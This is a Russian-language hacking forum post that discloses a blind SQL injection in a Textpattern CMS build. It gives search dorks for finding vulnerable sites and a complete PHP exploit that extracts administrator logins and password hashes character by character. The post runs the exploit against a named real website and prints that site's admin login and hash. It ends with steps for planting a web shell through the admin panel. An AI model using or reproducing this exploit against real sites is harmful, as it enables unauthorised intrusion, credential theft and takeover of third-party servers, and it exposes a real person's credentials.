CMS Textpattern
Вложений: 1
CMS Textpattern
Сборка: TXP-Компания - другие продукты не смотрел, возможно эта же уязвимость есть и в них.
Версия: textpattern 4.0.3rev1228ru - возможно и другие версии
Офф сайт: http://textpattern.ru/
Скачать: http://textpattern.ru/faq/gde-mne-skachat-distributiv-cms - дальше выбираем (2. Если Вам нужен движок для сайта фирмы, то можно скачать готовую к использованию TxP-Компанию ;)
Для поиска сайтов с таким двигом: "TXP-Компания" или "Сайт работает под управлением Textpattern" - но тогда есть шанс попасть на другую сборку.
[Слепые инъекции:]
Код:
http://test1.ru/goods/23+and+substring(version(),1,1)=4
http://test1.ru/news/8+and+substring(version(),1,1)=4
http://test1.ru/faq/26+and+substring(version(),1,1)=4
http://test1.ru/about/12+and+substring(version(),1,1)=4
Таблица с пользователями: txp_users - эта таблица БЕЗ префикса
Если есть префикс то таблица выглядит так: [префикс]txp_users
Тип хеша: mysql
[Написал простенький сплоент (работает медленно (минуты 3-20) т.к. посимвольный брут отнимает время):]
Сплоент выдирет логин и хеш пароля пользователя с заданным id.
PHP код:
<?php
//-----------------------------------------------------------------------------
//----Coded-by-Grey------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//----------------------------Данные для редактирования------------------------
$host = 'test.ru'; // Хост. Сайт без http:// и без / на конце, к примеру test.ru
$port = '80'; // Порт.
$dir = '/'; // Директория где расположен сайт, если сайт расположен в корневом каталоге сайта, то оставить /, к примеру если директория dvig, то вписать /dvig/
$new_id = '8'; // id (номер) существующей новости
$user_id = '1'; // id пользователя чьи логин и хеш пароля нужно выдрать
$pref = ''; // Дополнительный префикс таблиц. Обычно его нету.
//-------Дальше не редактировать-----------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-------Строка содержащая ошибку
$strerror = '404 Not Found';
//-------
//-------Формирование пути
$path = $dir.'news/'.$new_id;
echo("Put: $path\r\n");
//-------
//-------Описание функций
function func_error ($host,$port,$strerror,$path)
{
$s = fsockopen($host,$port) or die ("Oshibka: ne udaetsy soedinitsy s hostom");
$headers = "GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n";
fputs($s, $headers);
$func_error = 0;
while(!feof($s))
{
if(stristr(fgets($s), $strerror) == true)
{
$func_error = 1;
break;
}
}
fclose($s);
return $func_error;
}
function func_zamena ($n)
{
if($n == 1) { $n2 = 48; }
if($n == 2) { $n2 = 49; }
if($n == 3) { $n2 = 50; }
if($n == 4) { $n2 = 51; }
if($n == 5) { $n2 = 52; }
if($n == 6) { $n2 = 53; }
if($n == 7) { $n2 = 54; }
if($n == 8) { $n2 = 55; }
if($n == 9) { $n2 = 56; }
if($n == 10) { $n2 = 57; }
if($n == 11) { $n2 = 97; }
if($n == 12) { $n2 = 98; }
if($n == 13) { $n2 = 99; }
if($n == 14) { $n2 = 100; }
if($n == 15) { $n2 = 101; }
if($n == 16) { $n2 = 102; }
return $n2;
}
//-------
//-------Определение версии БД
$path2 = $path.'+and+substring(version(),1,1)=3';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$version_3 = 1;
}
else
{
$version_3 = 0;
}
$path2 = $path.'+and+substring(version(),1,1)=4';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$version_4 = 1;
}
else
{
$version_4 = 0;
}
$path2 = $path.'+and+substring(version(),1,1)=5';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$version_5 = 1;
}
else
{
$version_5 = 0;
}
if(($version_3 == 1) and ($version_4 == 0) and ($version_5 == 0))
{
echo("Versia BD: 3\r\n");
echo("Dalneishaia rabota ne vozmojna\r\n");
}
if(($version_3 == 0) and ($version_4 == 1) and ($version_5 == 0))
{
echo("Versia BD: 4\r\n");
}
if(($version_3 == 0) and ($version_4 == 0) and ($version_5 == 1))
{
echo("Versia BD: 5\r\n");
}
if(($version_3 == 1) and ($version_4 == 1) and ($version_5 == 1))
{
echo("Oshibka: versia BD ne opredelena");
echo("Dalneishaia rabota ne vozmojna\r\n");
}
//-------
//-------Определение длинны логина и хеша пароля, получение логина и хеша пароля
if(($version_3 == 1) and ($version_4 == 0) and ($version_5 == 0))
{
exit();
}
if(($version_4 == 1) xor ($version_5 == 1))
{
//-------Определение длинны логина
$path2 = $path.'+and+length((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.'))<=20';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$f_dlina = 1;
}
else
{
$f_dlina = 0;
}
if($f_dlina == 0)
{
echo("Dlina logina bolshe 20 simvolov\r\n");
}
else
{
for($i = 1; $i <= 20; $i++)
{
$path2 = $path.'+and+length((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.'))='.$i;
if(func_error($host,$port,$strerror,$path2) == 0)
{
$dlina = $i;
break;
}
}
$dlina_logina = $dlina;
echo("Dlina logina: $dlina_logina\r\n");
}
//-------
//-------Получение логина
$login = '';
for($i = 1; $i <= $dlina_logina; $i++)
{
for($i3 = 33; $i3 <= 126; $i3++)
{
$path2 = $path.'+and+ascii(substring(((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.')),'.$i.',1))='.$i3;
if(func_error($host,$port,$strerror,$path2) == 0)
{
$simvol = $i3;
break;
}
}
$login = $login.chr($simvol);
}
echo("Login: $login\r\n");
//-------
//-------Определение длинны пароля
$path2 = $path.'+and+((length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=16)+or+(length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=40))';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$f_dlina = 1;
}
else
{
$f_dlina = 0;
}
if($f_dlina == 0)
{
echo("Dlina parolya ne opredelena\r\n");
}
else
{
$path2 = $path.'+and+length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=16';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$dlina_parolya = 16;
}
else
{
$dlina_parolya = 40;
}
echo("Dlina parolya: $dlina_parolya\r\n");
}
//-------
$password = '';
for($i = 1; $i <= $dlina_parolya; $i++)
{
for($i3 = 1; $i3 <= 16; $i3++)
{
$path2 = $path.'+and+ascii(lower(substring(((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.')),'.$i.',1)))='.func_zamena($i3);
if(func_error($host,$port,$strerror,$path2) == 0)
{
$simvol = func_zamena($i3);
break;
}
}
$password = $password.chr($simvol);
}
echo("Pass hash: $password\r\n");
}
//-------
?>
[Как юзать сплоент:]
Отредактировать данные и юзать:
c:\php\php.exe c:\sploit.php
Для примера сайт:
http://pek.zp.ua
Вписываем в сплоент следующие:
PHP код:
$host = 'pek.zp.ua';
$port = '80';
$dir = '/';
$new_id = '8';
$user_id = '1';
$pref = '';
И получаем:
Put: /news/8
Versia BD: 4
Dlina logina: 7
Login: alexpek
Dlina parolya: 16
Pass hash: 68adf6224f57b299
[Заливка шелла:]
В админке ( /textpattern/):
1) Выбираем Настройки - Плагины - а дальше правим код (php) и получаем на соответствующей странице шелл.
2) Содежрание - Файлы, заливаем шелл, шелл будет доступен по адресу:
/files/shell.php
|